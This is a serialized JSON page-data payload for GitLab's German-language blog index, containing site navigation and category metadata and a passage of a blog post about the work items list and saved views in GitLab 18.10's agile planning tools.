[{"data":1,"prerenderedAt":1292},["ShallowReactive",2],{"/de-de/blog":3,"navigation-de-de":20,"banner-de-de":434,"footer-de-de":444,"blogCategories-de-de":680,"relatedBlogPosts-de-de":820,"mainFeaturedPost-de-de":1255,"recentFeaturedPosts-de-de":1260,"recentPosts-de-de":1276},{"id":4,"title":5,"body":6,"category":6,"config":7,"content":9,"description":6,"extension":11,"meta":12,"navigation":13,"path":14,"seo":15,"slug":6,"stem":18,"testContent":6,"type":6,"__hash__":19},"pages/de-de/blog/index.yml","",null,{"template":8},"BlogHome",{"title":10},"GitLab Blog","yml",{},true,"/de-de/blog",{"title":16,"description":17},"Deutscher GitLab Blog","Die besten Tutorials, Produktinfos und Expertenbeiträge von GitLab – für DevSecOps-Teams, die sichere Software schneller entwickeln und deployen wollen.","de-de/blog/index","1yAIKpINx5K5qzP-ePsacr72SeBUjhZPHi06R2AaDBM",{"data":21},{"logo":22,"freeTrial":27,"sales":32,"login":37,"items":42,"search":352,"minimal":386,"duo":404,"switchNav":413,"pricingDeployment":424},{"config":23},{"href":24,"dataGaName":25,"dataGaLocation":26},"/de-de/","gitlab logo","header",{"text":28,"config":29},"Kostenlose Testversion anfordern",{"href":30,"dataGaName":31,"dataGaLocation":26},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de&glm_content=default-saas-trial/","free trial",{"text":33,"config":34},"Vertrieb kontaktieren",{"href":35,"dataGaName":36,"dataGaLocation":26},"/de-de/sales/","sales",{"text":38,"config":39},"Anmelden",{"href":40,"dataGaName":41,"dataGaLocation":26},"https://gitlab.com/users/sign_in/","sign in",[43,70,167,172,273,333],{"text":44,"config":45,"cards":47},"Plattform",{"dataNavLevelOne":46},"platform",[48,54,62],{"title":44,"description":49,"link":50},"Die intelligente Orchestrierungsplattform für DevSecOps",{"text":51,"config":52},"Die Plattform erkunden",{"href":53,"dataGaName":46,"dataGaLocation":26},"/de-de/platform/",{"title":55,"description":56,"link":57},"GitLab Duo Agent Platform","Agentische KI für den gesamten Software-Lebenszyklus",{"text":58,"config":59},"Lerne GitLab Duo kennen",{"href":60,"dataGaName":61,"dataGaLocation":26},"/de-de/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":63,"description":64,"link":65},"Warum GitLab?","Erfahre, warum sich Unternehmen für GitLab entscheiden",{"text":66,"config":67},"Mehr erfahren",{"href":68,"dataGaName":69,"dataGaLocation":26},"/de-de/why-gitlab/","why gitlab",{"text":71,"left":13,"config":72,"link":74,"lists":78,"footer":149},"Produkt",{"dataNavLevelOne":73},"solutions",{"text":75,"config":76},"Alle Lösungen anzeigen",{"href":77,"dataGaName":73,"dataGaLocation":26},"/de-de/solutions/",[79,104,127],{"title":80,"description":81,"link":82,"items":87},"Automatisierung","CI/CD und Automatisierung zur Beschleunigung der Bereitstellung",{"config":83},{"icon":84,"href":85,"dataGaName":86,"dataGaLocation":26},"AutomatedCodeAlt","/de-de/solutions/delivery-automation/","automated software delivery",[88,92,95,100],{"text":89,"config":90},"CI/CD",{"href":91,"dataGaLocation":26,"dataGaName":89},"/de-de/solutions/continuous-integration/",{"text":55,"config":93},{"href":60,"dataGaLocation":26,"dataGaName":94},"gitlab duo agent platform - product menu",{"text":96,"config":97},"Quellcodeverwaltung",{"href":98,"dataGaLocation":26,"dataGaName":99},"/de-de/solutions/source-code-management/","Source Code Management",{"text":101,"config":102},"Automatische Softwarebereitstellung",{"href":85,"dataGaLocation":26,"dataGaName":103},"Automated software delivery",{"title":105,"description":106,"link":107,"items":112},"Sicherheit","Entwickle Code schneller ohne Abstriche bei der Sicherheit",{"config":108},{"href":109,"dataGaName":110,"dataGaLocation":26,"icon":111},"/de-de/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[113,117,122],{"text":114,"config":115},"Anwendungssicherheitstests",{"href":109,"dataGaName":116,"dataGaLocation":26},"Application security testing",{"text":118,"config":119},"Schutz der Software-Lieferkette",{"href":120,"dataGaLocation":26,"dataGaName":121},"/de-de/solutions/supply-chain/","Software supply chain security",{"text":123,"config":124},"Software-Compliance",{"href":125,"dataGaName":126,"dataGaLocation":26},"/de-de/solutions/software-compliance/","software compliance",{"title":128,"link":129,"items":134},"Auswertung",{"config":130},{"icon":131,"href":132,"dataGaName":133,"dataGaLocation":26},"DigitalTransformation","/de-de/solutions/visibility-measurement/","visibility and measurement",[135,139,144],{"text":136,"config":137},"Sichtbarkeit und Auswertung",{"href":132,"dataGaLocation":26,"dataGaName":138},"Visibility and Measurement",{"text":140,"config":141},"Wertstrommanagement",{"href":142,"dataGaLocation":26,"dataGaName":143},"/de-de/solutions/value-stream-management/","Value Stream Management",{"text":145,"config":146},"Analysen und Einblicke",{"href":147,"dataGaLocation":26,"dataGaName":148},"/de-de/solutions/analytics-and-insights/","Analytics and insights",{"title":150,"items":151},"GitLab für",[152,157,162],{"text":153,"config":154},"Enterprise",{"href":155,"dataGaLocation":26,"dataGaName":156},"/de-de/enterprise/","enterprise",{"text":158,"config":159},"Kleinunternehmen",{"href":160,"dataGaLocation":26,"dataGaName":161},"/de-de/small-business/","small business",{"text":163,"config":164},"Öffentlicher Sektor",{"href":165,"dataGaLocation":26,"dataGaName":166},"/de-de/solutions/public-sector/","public sector",{"text":168,"config":169},"Preise",{"href":170,"dataGaName":171,"dataGaLocation":26,"dataNavLevelOne":171},"/de-de/pricing/","pricing",{"text":173,"config":174,"link":176,"lists":180,"feature":260},"Ressourcen",{"dataNavLevelOne":175},"resources",{"text":177,"config":178},"Alle Ressourcen anzeigen",{"href":179,"dataGaName":175,"dataGaLocation":26},"/de-de/resources/",[181,214,232],{"title":182,"items":183},"Erste Schritte",[184,189,194,199,204,209],{"text":185,"config":186},"Installieren",{"href":187,"dataGaName":188,"dataGaLocation":26},"/de-de/install/","install",{"text":190,"config":191},"Kurzanleitungen",{"href":192,"dataGaName":193,"dataGaLocation":26},"/de-de/get-started/","quick setup checklists",{"text":195,"config":196},"Lernen",{"href":197,"dataGaLocation":26,"dataGaName":198},"https://university.gitlab.com/","learn",{"text":200,"config":201},"Produktdokumentation",{"href":202,"dataGaName":203,"dataGaLocation":26},"https://docs.gitlab.com/","product documentation",{"text":205,"config":206},"Best-Practice-Videos",{"href":207,"dataGaName":208,"dataGaLocation":26},"/de-de/getting-started-videos/","best practice videos",{"text":210,"config":211},"Integrationen",{"href":212,"dataGaName":213,"dataGaLocation":26},"/de-de/integrations/","integrations",{"title":215,"items":216},"Entdecken",[217,222,227],{"text":218,"config":219},"Kundenerfolge",{"href":220,"dataGaName":221,"dataGaLocation":26},"/de-de/customers/","customer success stories",{"text":223,"config":224},"Blog",{"href":225,"dataGaName":226,"dataGaLocation":26},"/de-de/blog/","blog",{"text":228,"config":229},"Remote",{"href":230,"dataGaName":231,"dataGaLocation":26},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":233,"items":234},"Vernetzen",[235,240,245,250,255],{"text":236,"config":237},"GitLab Services",{"href":238,"dataGaName":239,"dataGaLocation":26},"/de-de/services/","services",{"text":241,"config":242},"Community",{"href":243,"dataGaName":244,"dataGaLocation":26},"/community/","community",{"text":246,"config":247},"Forum",{"href":248,"dataGaName":249,"dataGaLocation":26},"https://forum.gitlab.com/","forum",{"text":251,"config":252},"Veranstaltungen",{"href":253,"dataGaName":254,"dataGaLocation":26},"/events/","events",{"text":256,"config":257},"Partner",{"href":258,"dataGaName":259,"dataGaLocation":26},"/de-de/partners/","partners",{"backgroundColor":261,"textColor":262,"text":263,"image":264,"link":268},"#2f2a6b","#fff","Perspektiven für die Softwareentwicklung der Zukunft",{"altText":265,"config":266},"The Source Promo-Karte",{"src":267},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":269,"config":270},"Aktuelles",{"href":271,"dataGaName":272,"dataGaLocation":26},"/de-de/the-source/","the source",{"text":274,"config":275,"lists":277},"Unternehmen",{"dataNavLevelOne":276},"company",[278],{"items":279},[280,285,291,293,298,303,308,313,318,323,328],{"text":281,"config":282},"Über",{"href":283,"dataGaName":284,"dataGaLocation":26},"/de-de/company/","about",{"text":286,"config":287,"footerGa":290},"Karriere",{"href":288,"dataGaName":289,"dataGaLocation":26},"/jobs/","jobs",{"dataGaName":289},{"text":251,"config":292},{"href":253,"dataGaName":254,"dataGaLocation":26},{"text":294,"config":295},"Geschäftsführung",{"href":296,"dataGaName":297,"dataGaLocation":26},"/company/team/e-group/","leadership",{"text":299,"config":300},"Team",{"href":301,"dataGaName":302,"dataGaLocation":26},"/company/team/","team",{"text":304,"config":305},"Handbuch",{"href":306,"dataGaName":307,"dataGaLocation":26},"https://handbook.gitlab.com/","handbook",{"text":309,"config":310},"Investor Relations",{"href":311,"dataGaName":312,"dataGaLocation":26},"https://ir.gitlab.com/","investor relations",{"text":314,"config":315},"Trust Center",{"href":316,"dataGaName":317,"dataGaLocation":26},"/de-de/security/","trust center",{"text":319,"config":320},"AI Transparency Center",{"href":321,"dataGaName":322,"dataGaLocation":26},"/de-de/ai-transparency-center/","ai transparency center",{"text":324,"config":325},"Newsletter",{"href":326,"dataGaName":327,"dataGaLocation":26},"/company/contact/#contact-forms","newsletter",{"text":329,"config":330},"Presse",{"href":331,"dataGaName":332,"dataGaLocation":26},"/press/","press",{"text":334,"config":335,"lists":336},"Kontakt",{"dataNavLevelOne":276},[337],{"items":338},[339,342,347],{"text":33,"config":340},{"href":35,"dataGaName":341,"dataGaLocation":26},"talk to sales",{"text":343,"config":344},"Support-Portal",{"href":345,"dataGaName":346,"dataGaLocation":26},"https://support.gitlab.com","support portal",{"text":348,"config":349},"Kundenportal",{"href":350,"dataGaName":351,"dataGaLocation":26},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":353,"login":354,"suggestions":361},"Schließen",{"text":355,"link":356},"Um Repositorys und Projekte zu durchsuchen, melde dich an bei",{"text":357,"config":358},"gitlab.com",{"href":40,"dataGaName":359,"dataGaLocation":360},"search login","search",{"text":362,"default":363},"Vorschläge",[364,366,371,373,378,383],{"text":55,"config":365},{"href":60,"dataGaName":55,"dataGaLocation":360},{"text":367,"config":368},"Codevorschläge (KI)",{"href":369,"dataGaName":370,"dataGaLocation":360},"/de-de/solutions/code-suggestions/","Code Suggestions (AI)",{"text":89,"config":372},{"href":91,"dataGaName":89,"dataGaLocation":360},{"text":374,"config":375},"GitLab auf AWS",{"href":376,"dataGaName":377,"dataGaLocation":360},"/de-de/partners/technology-partners/aws/","GitLab on AWS",{"text":379,"config":380},"GitLab auf Google Cloud",{"href":381,"dataGaName":382,"dataGaLocation":360},"/de-de/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":63,"config":384},{"href":68,"dataGaName":385,"dataGaLocation":360},"Why GitLab?",{"freeTrial":387,"mobileIcon":392,"desktopIcon":397,"secondaryButton":400},{"text":388,"config":389},"Kostenlos testen",{"href":390,"dataGaName":31,"dataGaLocation":391},"https://gitlab.com/-/trials/new/","nav",{"altText":393,"config":394},"GitLab-Symbol",{"src":395,"dataGaName":396,"dataGaLocation":391},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":393,"config":398},{"src":399,"dataGaName":396,"dataGaLocation":391},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":182,"config":401},{"href":402,"dataGaName":403,"dataGaLocation":391},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de/get-started/","get started",{"freeTrial":405,"mobileIcon":409,"desktopIcon":411},{"text":406,"config":407},"Mehr über GitLab Duo erfahren",{"href":60,"dataGaName":408,"dataGaLocation":391},"gitlab duo",{"altText":393,"config":410},{"src":395,"dataGaName":396,"dataGaLocation":391},{"altText":393,"config":412},{"src":399,"dataGaName":396,"dataGaLocation":391},{"button":414,"mobileIcon":419,"desktopIcon":421},{"text":415,"config":416},"/Option",{"href":417,"dataGaName":418,"dataGaLocation":391},"#contact","switch",{"altText":393,"config":420},{"src":395,"dataGaName":396,"dataGaLocation":391},{"altText":393,"config":422},{"src":423,"dataGaName":396,"dataGaLocation":391},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":425,"mobileIcon":430,"desktopIcon":432},{"text":426,"config":427},"Zurück zur Preisübersicht",{"href":170,"dataGaName":428,"dataGaLocation":391,"icon":429},"back to pricing","GoBack",{"altText":393,"config":431},{"src":395,"dataGaName":396,"dataGaLocation":391},{"altText":393,"config":433},{"src":399,"dataGaName":396,"dataGaLocation":391},{"title":435,"button":436,"config":441},"Sieh dir an, wie agentische KI die Softwarebereitstellung transformiert",{"text":437,"config":438},"GitLab Transcend jetzt ansehen",{"href":439,"dataGaName":440,"dataGaLocation":26},"/de-de/events/transcend/virtual/","transcend event",{"layout":442,"icon":443,"disabled":13},"release","AiStar",{"data":445},{"text":446,"source":447,"edit":453,"contribute":458,"config":463,"items":468,"minimal":671},"Git ist eine Marke von Software Freedom Conservancy und unsere Verwendung von „GitLab“ erfolgt unter Lizenz.",{"text":448,"config":449},"Quelltext der Seite anzeigen",{"href":450,"dataGaName":451,"dataGaLocation":452},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":454,"config":455},"Diese Seite bearbeiten",{"href":456,"dataGaName":457,"dataGaLocation":452},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":459,"config":460},"Beteilige dich",{"href":461,"dataGaName":462,"dataGaLocation":452},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":464,"facebook":465,"youtube":466,"linkedin":467},"https://x.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[469,514,567,609,636],{"title":168,"links":470,"subMenu":485},[471,475,480],{"text":472,"config":473},"Tarife anzeigen",{"href":170,"dataGaName":474,"dataGaLocation":452},"view plans",{"text":476,"config":477},"Vorteile von Premium",{"href":478,"dataGaName":479,"dataGaLocation":452},"/de-de/pricing/premium/","why premium",{"text":481,"config":482},"Vorteile von Ultimate",{"href":483,"dataGaName":484,"dataGaLocation":452},"/de-de/pricing/ultimate/","why ultimate",[486],{"title":334,"links":487},[488,490,492,494,499,504,509],{"text":33,"config":489},{"href":35,"dataGaName":36,"dataGaLocation":452},{"text":343,"config":491},{"href":345,"dataGaName":346,"dataGaLocation":452},{"text":348,"config":493},{"href":350,"dataGaName":351,"dataGaLocation":452},{"text":495,"config":496},"Status",{"href":497,"dataGaName":498,"dataGaLocation":452},"https://status.gitlab.com/","status",{"text":500,"config":501},"Nutzungsbedingungen",{"href":502,"dataGaName":503,"dataGaLocation":452},"/terms/","terms of use",{"text":505,"config":506},"Datenschutzerklärung",{"href":507,"dataGaName":508,"dataGaLocation":452},"/de-de/privacy/","privacy statement",{"text":510,"config":511},"Cookie-Einstellungen",{"dataGaName":512,"dataGaLocation":452,"id":513,"isOneTrustButton":13},"cookie preferences","ot-sdk-btn",{"title":71,"links":515,"subMenu":524},[516,520],{"text":517,"config":518},"DevSecOps-Plattform",{"href":53,"dataGaName":519,"dataGaLocation":452},"devsecops platform",{"text":521,"config":522},"KI-unterstützte Entwicklung",{"href":60,"dataGaName":523,"dataGaLocation":452},"ai-assisted development",[525],{"title":526,"links":527},"Themen",[528,532,537,542,547,552,557,562],{"text":89,"config":529},{"href":530,"dataGaName":531,"dataGaLocation":452},"/de-de/topics/ci-cd/","cicd",{"text":533,"config":534},"GitOps",{"href":535,"dataGaName":536,"dataGaLocation":452},"/de-de/topics/gitops/","gitops",{"text":538,"config":539},"DevOps",{"href":540,"dataGaName":541,"dataGaLocation":452},"/de-de/topics/devops/","devops",{"text":543,"config":544},"Versionskontrolle",{"href":545,"dataGaName":546,"dataGaLocation":452},"/de-de/topics/version-control/","version control",{"text":548,"config":549},"DevSecOps",{"href":550,"dataGaName":551,"dataGaLocation":452},"/de-de/topics/devsecops/","devsecops",{"text":553,"config":554},"Cloud-nativ",{"href":555,"dataGaName":556,"dataGaLocation":452},"/de-de/topics/cloud-native/","cloud native",{"text":558,"config":559},"KI für das Programmieren",{"href":560,"dataGaName":561,"dataGaLocation":452},"/de-de/topics/devops/ai-for-coding/","ai for coding",{"text":563,"config":564},"Agentische KI",{"href":565,"dataGaName":566,"dataGaLocation":452},"/de-de/topics/agentic-ai/","agentic ai",{"title":568,"links":569},"Lösungen",[570,573,575,580,584,587,590,593,595,597,599,604],{"text":114,"config":571},{"href":109,"dataGaName":572,"dataGaLocation":452},"Application Security Testing",{"text":101,"config":574},{"href":85,"dataGaName":86,"dataGaLocation":452},{"text":576,"config":577},"Agile Entwicklung",{"href":578,"dataGaName":579,"dataGaLocation":452},"/de-de/solutions/agile-delivery/","agile delivery",{"text":581,"config":582},"SCM",{"href":98,"dataGaName":583,"dataGaLocation":452},"source code management",{"text":89,"config":585},{"href":91,"dataGaName":586,"dataGaLocation":452},"continuous integration & delivery",{"text":140,"config":588},{"href":142,"dataGaName":589,"dataGaLocation":452},"value stream management",{"text":533,"config":591},{"href":592,"dataGaName":536,"dataGaLocation":452},"/de-de/solutions/gitops/",{"text":153,"config":594},{"href":155,"dataGaName":156,"dataGaLocation":452},{"text":158,"config":596},{"href":160,"dataGaName":161,"dataGaLocation":452},{"text":163,"config":598},{"href":165,"dataGaName":166,"dataGaLocation":452},{"text":600,"config":601},"Bildungswesen",{"href":602,"dataGaName":603,"dataGaLocation":452},"/de-de/solutions/education/","education",{"text":605,"config":606},"Finanzdienstleistungen",{"href":607,"dataGaName":608,"dataGaLocation":452},"/de-de/solutions/finance/","financial services",{"title":173,"links":610},[611,613,615,617,620,622,624,626,628,630,632,634],{"text":185,"config":612},{"href":187,"dataGaName":188,"dataGaLocation":452},{"text":190,"config":614},{"href":192,"dataGaName":193,"dataGaLocation":452},{"text":195,"config":616},{"href":197,"dataGaName":198,"dataGaLocation":452},{"text":200,"config":618},{"href":202,"dataGaName":619,"dataGaLocation":452},"docs",{"text":223,"config":621},{"href":225,"dataGaName":226,"dataGaLocation":452},{"text":218,"config":623},{"href":220,"dataGaName":221,"dataGaLocation":452},{"text":228,"config":625},{"href":230,"dataGaName":231,"dataGaLocation":452},{"text":236,"config":627},{"href":238,"dataGaName":239,"dataGaLocation":452},{"text":241,"config":629},{"href":243,"dataGaName":244,"dataGaLocation":452},{"text":246,"config":631},{"href":248,"dataGaName":249,"dataGaLocation":452},{"text":251,"config":633},{"href":253,"dataGaName":254,"dataGaLocation":452},{"text":256,"config":635},{"href":258,"dataGaName":259,"dataGaLocation":452},{"title":274,"links":637},[638,640,642,644,646,648,650,655,660,662,664,666],{"text":281,"config":639},{"href":283,"dataGaName":276,"dataGaLocation":452},{"text":286,"config":641},{"href":288,"dataGaName":289,"dataGaLocation":452},{"text":294,"config":643},{"href":296,"dataGaName":297,"dataGaLocation":452},{"text":299,"config":645},{"href":301,"dataGaName":302,"dataGaLocation":452},{"text":304,"config":647},{"href":306,"dataGaName":307,"dataGaLocation":452},{"text":309,"config":649},{"href":311,"dataGaName":312,"dataGaLocation":452},{"text":651,"config":652},"Nachhaltigkeit",{"href":653,"dataGaName":654,"dataGaLocation":452},"/sustainability/","Sustainability",{"text":656,"config":657},"Vielfalt, Inklusion und Zugehörigkeit",{"href":658,"dataGaName":659,"dataGaLocation":452},"/de-de/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":314,"config":661},{"href":316,"dataGaName":317,"dataGaLocation":452},{"text":324,"config":663},{"href":326,"dataGaName":327,"dataGaLocation":452},{"text":329,"config":665},{"href":331,"dataGaName":332,"dataGaLocation":452},{"text":667,"config":668},"Transparenzerklärung zu moderner Sklaverei",{"href":669,"dataGaName":670,"dataGaLocation":452},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":672},[673,675,678],{"text":500,"config":674},{"href":502,"dataGaName":503,"dataGaLocation":452},{"text":676,"config":677},"Cookies",{"dataGaName":512,"dataGaLocation":452,"id":513,"isOneTrustButton":13},{"text":505,"config":679},{"href":507,"dataGaName":508,"dataGaLocation":452},[681,695,708,721,734,745,757,770,782,794,806],{"id":682,"title":683,"body":6,"category":6,"config":684,"content":688,"description":6,"extension":11,"meta":689,"navigation":13,"path":690,"seo":691,"slug":6,"stem":693,"testContent":6,"type":6,"__hash__":694},"blogCategories/de-de/blog/categories/agile-planning.yml","Agile Planning",{"template":685,"slug":686,"hide":687},"BlogCategory","agile-planning",false,{"name":683},{},"/de-de/blog/categories/agile-planning",{"title":683,"description":692},"Browse articles related to Agile Planning on the GitLab Blog","de-de/blog/categories/agile-planning","csUL1d_-y-DPhZetCYXu18e5sQMfbzSl4z0yB282dB4",{"id":696,"title":697,"body":6,"category":6,"config":698,"content":700,"description":6,"extension":11,"meta":702,"navigation":13,"path":703,"seo":704,"slug":6,"stem":706,"testContent":6,"type":6,"__hash__":707},"blogCategories/de-de/blog/categories/ai-ml.yml","Ai Ml",{"template":685,"slug":699,"hide":687},"ai-ml",{"name":701},"KI/ML",{},"/de-de/blog/categories/ai-ml",{"title":701,"description":705},"Browse articles related to KI/ML on the GitLab Blog","de-de/blog/categories/ai-ml","1ZXMYZ95h3sv7hO1jba_Y-UZre4Tax4JM6QlNpoAdE4",{"id":709,"title":710,"body":6,"category":6,"config":711,"content":713,"description":6,"extension":11,"meta":715,"navigation":13,"path":716,"seo":717,"slug":6,"stem":719,"testContent":6,"type":6,"__hash__":720},"blogCategories/de-de/blog/categories/bulletin-board.yml","Bulletin Board",{"template":685,"slug":712,"hide":687},"bulletin-board",{"name":714},"Ankündigungen",{},"/de-de/blog/categories/bulletin-board",{"title":714,"description":718},"Browse articles related to Ankündigungen on the GitLab Blog","de-de/blog/categories/bulletin-board","mkB_SWqSkG9Rs-zMdOGuzpIJZOX0BQ5yNO6o9RfPe2E",{"id":722,"title":723,"body":6,"category":6,"config":724,"content":726,"description":6,"extension":11,"meta":728,"navigation":13,"path":729,"seo":730,"slug":6,"stem":732,"testContent":6,"type":6,"__hash__":733},"blogCategories/de-de/blog/categories/customer-stories.yml","Customer Stories",{"template":685,"slug":725,"hide":687},"customer-stories",{"name":727},"Kundenstories",{},"/de-de/blog/categories/customer-stories",{"title":727,"description":731},"Browse articles related to Kundenstories on the GitLab Blog","de-de/blog/categories/customer-stories","kB5miv8QohUy6kvq6rdK7V4z9za-Uk_aGodu7cUhAho",{"id":735,"title":736,"body":6,"category":6,"config":737,"content":738,"description":6,"extension":11,"meta":739,"navigation":13,"path":740,"seo":741,"slug":6,"stem":743,"testContent":6,"type":6,"__hash__":744},"blogCategories/de-de/blog/categories/devsecops.yml","Devsecops",{"template":685,"slug":551,"hide":687},{"name":548},{},"/de-de/blog/categories/devsecops",{"title":548,"description":742},"Browse articles related to DevSecOps on the GitLab Blog","de-de/blog/categories/devsecops","-VYAbxDp8VgKNnix343UzZtmmsJMwVyVWyhmpemBm0U",{"id":746,"title":747,"body":6,"category":6,"config":748,"content":750,"description":6,"extension":11,"meta":751,"navigation":13,"path":752,"seo":753,"slug":6,"stem":755,"testContent":6,"type":6,"__hash__":756},"blogCategories/de-de/blog/categories/engineering.yml","Engineering",{"template":685,"slug":749,"hide":687},"engineering",{"name":747},{},"/de-de/blog/categories/engineering",{"title":747,"description":754},"Browse articles related to Engineering on the GitLab Blog","de-de/blog/categories/engineering","2aDT2ddISb3_jPr0pKFELw8NlkxcUsQZ7Dd93XB3ya8",{"id":758,"title":759,"body":6,"category":6,"config":760,"content":762,"description":6,"extension":11,"meta":764,"navigation":13,"path":765,"seo":766,"slug":6,"stem":768,"testContent":6,"type":6,"__hash__":769},"blogCategories/de-de/blog/categories/news.yml","News",{"template":685,"slug":761,"hide":687},"news",{"name":763},"Neuheiten",{},"/de-de/blog/categories/news",{"title":763,"description":767},"Browse articles related to Neuheiten on the GitLab Blog","de-de/blog/categories/news","R-b1rDs8_JZxM4UVAjnPCwxnTfNaE65Fy_VSqLRW9Zw",{"id":771,"title":772,"body":6,"category":6,"config":773,"content":775,"description":6,"extension":11,"meta":776,"navigation":13,"path":777,"seo":778,"slug":6,"stem":780,"testContent":6,"type":6,"__hash__":781},"blogCategories/de-de/blog/categories/open-source.yml","Open Source",{"template":685,"slug":774,"hide":687},"open-source",{"name":772},{},"/de-de/blog/categories/open-source",{"title":772,"description":779},"Browse articles related to Open Source on the GitLab Blog","de-de/blog/categories/open-source","3lZAO-pA8tPgqw5jdEaCqdzTxqgrM40KjbyHzl6xewQ",{"id":783,"title":784,"body":6,"category":6,"config":785,"content":787,"description":6,"extension":11,"meta":788,"navigation":13,"path":789,"seo":790,"slug":6,"stem":792,"testContent":6,"type":6,"__hash__":793},"blogCategories/de-de/blog/categories/product.yml","Product",{"template":685,"slug":786,"hide":687},"product",{"name":71},{},"/de-de/blog/categories/product",{"title":71,"description":791},"Browse articles related to Produkt on the GitLab Blog","de-de/blog/categories/product","dXdTP3ocECtLG4lIfjjXnSDxd7iiH3ZZhZBwGeVKvzk",{"id":795,"title":796,"body":6,"category":6,"config":797,"content":799,"description":6,"extension":11,"meta":800,"navigation":13,"path":801,"seo":802,"slug":6,"stem":804,"testContent":6,"type":6,"__hash__":805},"blogCategories/de-de/blog/categories/security.yml","Security",{"template":685,"slug":798,"hide":687},"security",{"name":105},{},"/de-de/blog/categories/security",{"title":105,"description":803},"Browse articles related to Sicherheit on the GitLab Blog","de-de/blog/categories/security","RafNa29JNZ4JNGO3MJvpMciY4CG3ivNwFzY265Udobw",{"id":807,"title":808,"body":6,"category":6,"config":809,"content":811,"description":6,"extension":11,"meta":814,"navigation":13,"path":815,"seo":816,"slug":6,"stem":818,"testContent":6,"type":6,"__hash__":819},"blogCategories/de-de/blog/categories/security-labs.yml","Security Labs",{"template":685,"isCustomCategory":13,"slug":810,"hide":687},"security-labs",{"name":812,"description":813},"Sicherheitsforschung","Learn about cybersecurity trends, best practices, and third-party threats to secure your code and digital infrastructure.",{},"/de-de/blog/categories/security-labs",{"title":812,"description":817},"Browse articles related to Sicherheitsforschung on the GitLab Blog","de-de/blog/categories/security-labs","_Z-pzQf-BYQ3WnVMNEyfIYkbFVfv_vbAtlssi5tqAgE",[821,868,909,947,986,1023,1063,1104,1143,1180,1216],{"category":683,"slug":686,"posts":822},[823,838,852],{"content":824,"config":835},{"body":825,"category":686,"tags":826,"date":829,"title":830,"description":831,"authors":832,"heroImage":834},"Mit GitLab 18.10 kommen zwei seit Langem angefragte Funktionen für die Agile-Planung: die Work-Items-Liste und gespeicherte Ansichten. Die Work-Items-Liste zeigt alle Work-Item-Typen in einer gemeinsamen Übersicht. Gespeicherte Ansichten ermöglichen es, benutzerdefinierte Listenkonfigurationen zu speichern und später wieder aufzurufen.\n\nDie Funktionen bieten Teams konkrete Vorteile:\n\n* Kein wiederholtes Einrichten von Filtern für häufige Arbeitsabläufe\n* Konsistente Ansichten für die gemeinsame Bewertung von Arbeit im Team\n* Einheitliche Grundlage für Berichte und Statusübersichten\n\n## Was sind Work Items?\n\nBisher befinden sich Epics und Issues auf getrennten Listenseiten, was das Navigieren zwischen ihnen erfordert. Die Work-Items-Liste fasst Epics, Issues und andere Work Items in einer einheitlichen Listenansicht zusammen und macht das Wechseln zwischen getrennten Seiten überflüssig.\n\nDies ist zugleich die Grundlage für tiefergehende Planungsfunktionen. Die Zusammenführung aller Work-Item-Typen schafft die Voraussetzung für Hierarchieansichten – zum Beispiel eine Tabellenansicht –, die Beziehungen und Strukturen über Epics, Issues und andere Elemente hinweg auf einen Blick sichtbar machen.\n\nÜber Listen- und Hierarchieansichten hinaus ist geplant, weitere häufige Arbeitsabläufe – etwa Boards – in diese einheitliche Erfahrung zu integrieren. Das Ziel: alle wesentlichen Planungsansichten an einem Ort, über gespeicherte Ansichten mit dem Team teilbar, ohne durch verschiedene Produktbereiche navigieren zu müssen.\n\nVielleicht fragst du dich, warum wir von „Work Items\" sprechen und nicht von Issues. Die kurze Antwort: „Issue\" skaliert nicht dorthin, wo wir hinwollen. Bald lassen sich Work-Item-Typen vollständig konfigurieren – einschließlich ihrer Bezeichnungen –, um die Planungshierarchie der eigenen Organisation abzubilden. An der bestehenden Terminologie festzuhalten würde diese Flexibilität entgegenwirken. „Work Items\" ist die Grundlage für ein Modell, das sich individuell anpassen lässt.\n\n![Work items list view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774028606/ae9ugijwjsyv3ktiks0n.png)\n\n## Was hat zur Änderung geführt?\n\n2024 haben wir unsere Vision für eine neue Agile-Planungserfahrung in GitLab vorgestellt, die auf dem Work-Items-Framework basiert. Darin beschrieben wir das zentrale Problem: Epics und Issues existierten als getrennte Erfahrungen und erzeugten Reibung für Teams, die konsistente Funktionalität über Planungsobjekte hinweg erwarteten. Das Work-Items-Framework war unsere Antwort darauf – eine einheitliche Architektur für Konsistenz und neue Möglichkeiten in GitLabs Planungswerkzeugen. Work-Items-Liste und gespeicherte Ansichten sind ein Schritt auf diesem Weg.\n\n## Was sind gespeicherte Ansichten?\n\nGespeicherte Ansichten ermöglichen es, benutzerdefinierte Listenkonfigurationen – einschließlich Filter, Sortierung und Anzeigeoptionen – zu speichern und später aufzurufen. Damit lassen sich wiederkehrende Prüfungen strukturierter durchführen und einheitliche Arbeitsweisen im Team etablieren.\n\n![Saved view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774028606/izmg27ckskpkdofgvonr.png)\n\n## Wie geht es weiter?\n\nUm zu verstehen, warum wir diese Änderungen vornehmen, 